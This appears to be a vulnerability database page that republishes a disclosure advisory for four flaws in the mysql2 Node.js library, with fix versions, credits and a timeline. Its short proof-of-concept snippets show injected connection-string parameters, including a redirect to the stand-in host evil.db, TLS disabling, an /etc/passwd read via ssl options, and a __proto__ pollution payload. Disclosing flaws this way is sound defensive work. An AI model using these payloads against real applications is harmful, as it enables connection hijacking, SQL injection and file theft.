Vulnerability DatabaseGHSA-7hh4-7hx5-vxx8

GHSA-7hh4-7hx5-vxx8: 
JavaScript vulnerability analysis and mitigation

Description

Four related vulnerabilities were found in mysql2 <= 3.19.0: 1. Connection option override via parseUrl() query parameters ConnectionConfig.parseUrl() processes all URL query parameters via JSON.parse() and assigns them into connection options without filtering. Query parameters are processed after the URL structure, so they override security-critical fields like host, ssl, and multipleStatements. An attacker who controls or influences the connection string can:

  • Redirect connections to a malicious MySQL server (?host=evil.db)
  • Disable TLS (?ssl=false)
  • Enable multi-statement queries (?multipleStatements=true), facilitating SQL injection
  • Read arbitrary files via SSL options (?ssl={"ca":"/etc/passwd"}) This is relevant in multi-tenant platforms, admin panels, or any application that accepts user-supplied database connection strings. 2. Prototype pollution via parseUrl() proto key The same unfiltered query parameter processing in parseUrl() also enables prototype pollution. An attacker can inject ?__proto__={"polluted":true} into the connection string, which JSON.parse() parses into an object and assigns via options[key], polluting Object.prototype for the entire process. This was identified by @wellwelwel during the fix review (PR #4162) and is resolved by the same patch. 3. DoS via malformed geometry payloads

parseGeometryValue() reads geometry structures from server responses without validating buffer bounds. A malformed payload with inflated point/ring counts triggers an uncaught RangeError, crashing the Node.js process. Exploitable when a malicious MySQL server (e.g., via the connection redirect in finding 1) sends crafted geometry responses. 4. Logical out-of-bounds read in readNullTerminatedString() readNullTerminatedString() scans for a null byte without checking the logical packet boundary (this.end). When packets share the same backing Buffer, the method reads past the current packet into adjacent data, violating packet framing assumptions and potentially leaking data from neighboring packets.

Proof of Concept

Finding 1 — Config injection:

const { createConnection } = require('mysql2');
// Attacker-controlled DSN overrides host and disables TLS
const conn = createConnection(
  'mysql://user:pass@legit.db/app?host=evil.db&ssl=false&multipleStatements=true'
);
// conn.config.host === 'evil.db'
// conn.config.ssl === false
// conn.config.multipleStatements === true

Finding 2 — Prototype pollution:

const { ConnectionConfig } = require('mysql2');
ConnectionConfig.parseUrl(
  'mysql://user:pass@legit.db/app?__proto__={"polluted":"yes"}'
);
console.log(({}).polluted); // 'yes' — Object.prototype polluted!

Finding 3 — Geometry DoS: A geometry column response with a declared point count larger than the available buffer triggers:

RangeError: The value of "offset" is out of range...

This crashes the process if unhandled. Finding 4 — OOB read: With a packet ending at byte 7 and additional bytes in the same backing buffer, readNullTerminatedString() returns data beyond the logical packet boundary (e.g., "ABCSECRET" instead of "ABC").

Fix

All issues were fixed in v3.19.1:

  • PR #4162: Query parameters no longer override URL-derived options; also prevents __proto__ pollution
  • PR #4159, #4164: Geometry parser validates buffer bounds; returns null for malformed payloads
  • PR #4161: Null byte scan stops at logical packet boundary

Credit

  • Reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch
  • Fixes implemented and released by @wellwelwel, who also identified the prototype pollution vector during fix review

Timeline

  • 2026-03-07: Vulnerabilities discovered
  • 2026-03-08: Report sent to maintainer
  • 2026-03-08: Maintainer acknowledged, began fixes (PRs #4159, #4161, #4162, #4164)
  • 2026-03-09: All fixes merged, v3.19.1 released

Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-3qjc-mqvq-rch9HIGH7.6
  • JavaScript logoJavaScript
  • @mikro-orm/knex
NoYesNov 27, 2026
GHSA-j4pj-2xg4-35f6HIGH7.4
  • JavaScript logoJavaScript
  • @mikro-orm/mariadb
NoYesNov 27, 2026
GHSA-vrvp-5qx2-7xcmMEDIUM6.5
  • JavaScript logoJavaScript
  • @mikro-orm/knex
NoYesNov 27, 2026
GHSA-9phx-3fcw-32vfLOW3.7
  • JavaScript logoJavaScript
  • saxen
NoYesNov 27, 2026
GHSA-288x-p79m-78v5LOW3.7
  • JavaScript logoJavaScript
  • @mikro-orm/knex
NoYesNov 27, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management